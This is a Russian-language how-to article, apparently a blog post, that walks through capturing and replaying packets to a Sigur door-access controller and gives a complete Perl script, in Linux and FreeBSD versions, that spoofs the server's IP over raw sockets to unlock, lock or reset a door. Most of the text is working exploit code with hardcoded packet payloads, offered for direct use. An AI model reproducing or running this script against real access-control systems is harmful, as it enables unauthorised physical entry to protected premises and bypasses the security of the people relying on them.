Скрипт с использованием RAW socket на примере системы управления доступом Sigur
Приложения сервера и клиента распологаются на одной виртуалке с Windows 7, т.к. сам сервер настроен как внутренний,
соответственно контроллер двери принимает команды только с айпи адреса сервера,
при попытке отправить пакетик с устройства с отличающимся адресом контроллер нас проигнорирует
поэтому мы будем использовать сырые сокеты, что позволит нам подменить адрес отправителя и управлять дверью с других устройств
У контроллера есть 3 состояния
0 - доступ по пропускам
1 - замок открыт
2 - замок закрыт
С открытым замком будьте осторожны, в моем случае замок в открытом состоянии сильно нагревается…
C помощью Wireshark'a снифаем пакетики предварительно установив фильтр в соответствии с адресом контроллера,
после чего загружаем дамп в Colasoft Packet Builder, и начинаем последовательно отправлять до тех пор пока двери не откроются
найдя нужные пакетики можем приступать к написанию скритика

Скрипт запускается с параметрами [SERVER IP] [SERVER_PORT] [CONTROLLER_IP] [CONTROLLER_PORT] [state: normal/unlock/lock]
Под Linux

sigur.pl

#!/usr/bin/perl
use strict;
use warnings;
use Socket;
my $server_ip = (defined($ARGV[0]) and $ARGV[0] =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) ? shift(@ARGV) : die "use: [SERVER IP] [SERVER_PORT] [CONTROLLER_IP] [CONTROLLER_PORT]\n";
my $server_port = (defined($ARGV[0]) and $ARGV[0] =~ m/^\d+$/) ? shift(@ARGV) : die "use: $server_ip [SERVER_PORT] [CONTROLLER_IP] [CONTROLLER_PORT]\n";
my $conroller_ip = (defined($ARGV[0]) and $ARGV[0] =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) ? shift(@ARGV) : die "use: $server_ip $server_port [CONTROLLER_IP] [CONTROLLER_PORT]\n";
my $conroller_port = (defined($ARGV[0]) and $ARGV[0] =~ m/^\d+$/) ? shift(@ARGV) : die "use: $server_ip $server_port $conroller_ip [CONTROLLER_PORT]\n";
my $state = (defined($ARGV[0]) and ($ARGV[0] eq 'normal' or $ARGV[0] eq 'unlock' or $ARGV[0] eq 'lock')) ? shift(@ARGV) : die "use: $server_ip $server_port $conroller_ip $conroller_port [state: normal/unlock/lock]\n";
socket(SOCKET, PF_INET, SOCK_RAW, 255);
 
my $packet = undef;
 
if($state eq 'normal')
{
	$packet = pack("H*", '450000247244000080110000' . DecToHexIP($server_ip) . DecToHexIP($conroller_ip) . '0ce90ce9001000000107fe3000002b00');
	print "Door normal\n";
}
elsif($state eq 'unlock')
{
	$packet = pack("H*", '450000247244000080110000' . DecToHexIP($server_ip) . DecToHexIP($conroller_ip) . '0ce90ce9001000000107fe3200002b02');
	print "Door unlock\n";
}
elsif($state eq 'lock')
{
	$packet = pack("H*", '450000247244000080110000' . DecToHexIP($server_ip) . DecToHexIP($conroller_ip) . '0ce90ce9001000000107fe3100002b01');
	print "Door lock\n";
}
send(SOCKET, $packet, 0, sockaddr_in($conroller_port, inet_aton($conroller_ip)));
close(SOCKET);
 
 
sub DecToHexIP
{
	my $ip = shift;
	$ip =~ m/(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/;
	my $result = sprintf("%02x", $1) . sprintf("%02x", $2) . sprintf("%02x", $3) . sprintf("%02x", $4);
	return $result;
}
 
sub DecToHexPort
{
	my $port = shift;
	my $result = sprintf("%04x", $port);
	return $result;
}

Под FreeBSD

sigur.pl

#!/usr/local/bin/perl
use strict;
use warnings;
use Socket qw(IPPROTO_IP PF_INET SOCK_RAW IP_HDRINCL inet_aton sockaddr_in);;
my $server_ip = (defined($ARGV[0]) and $ARGV[0] =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) ? shift(@ARGV) : die "use: [SERVER IP] [SERVER_PORT] [CONTROLLER_IP] [CONTROLLER_PORT]\n";
my $server_port = (defined($ARGV[0]) and $ARGV[0] =~ m/^\d+$/) ? shift(@ARGV) : die "use: $server_ip [SERVER_PORT] [CONTROLLER_IP] [CONTROLLER_PORT]\n";
my $conroller_ip = (defined($ARGV[0]) and $ARGV[0] =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) ? shift(@ARGV) : die "use: $server_ip $server_port [CONTROLLER_IP] [CONTROLLER_PORT]\n";
my $conroller_port = (defined($ARGV[0]) and $ARGV[0] =~ m/^\d+$/) ? shift(@ARGV) : die "use: $server_ip $server_port $conroller_ip [CONTROLLER_PORT]\n";
my $state = (defined($ARGV[0]) and ($ARGV[0] eq 'normal' or $ARGV[0] eq 'unlock' or $ARGV[0] eq 'lock')) ? shift(@ARGV) : die "use: $server_ip $server_port $conroller_ip $conroller_port [state: normal/unlock/lock]\n";
socket(SOCKET, PF_INET, SOCK_RAW, 255);
setsockopt(SOCKET, IPPROTO_IP, IP_HDRINCL, 1);
my $packet = undef;
 
if($state eq 'normal')
{
	$packet = pack("H*", '450000247244000080110000' . DecToHexIP($server_ip) . DecToHexIP($conroller_ip) . '0ce90ce9001000000107fe3000002b00');
	print "Door normal\n";
}
elsif($state eq 'unlock')
{
	$packet = pack("H*", '450000247244000080110000' . DecToHexIP($server_ip) . DecToHexIP($conroller_ip) . '0ce90ce9001000000107fe3200002b02');
	print "Door unlock\n";
}
elsif($state eq 'lock')
{
	$packet = pack("H*", '450000247244000080110000' . DecToHexIP($server_ip) . DecToHexIP($conroller_ip) . '0ce90ce9001000000107fe3100002b01');
	print "Door lock\n";
}
send(SOCKET, $packet, 0, sockaddr_in($conroller_port, inet_aton($conroller_ip)));
close(SOCKET);
 
 
sub DecToHexIP
{
	my $ip = shift;
	$ip =~ m/(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/;
	my $result = sprintf("%02x", $1) . sprintf("%02x", $2) . sprintf("%02x", $3) . sprintf("%02x", $4);
	return $result;
}
 
sub DecToHexPort
{
	my $port = shift;
	my $result = sprintf("%04x", $port);
	return $result;
}

Обратите внимание, что во втором случае мы включаем IP_HDRINCL, иначе заголовок IPv4 будет автоматически сгенерирован
(спасибо ребятам из русскоязыного чатика FreeBSD за подсказку)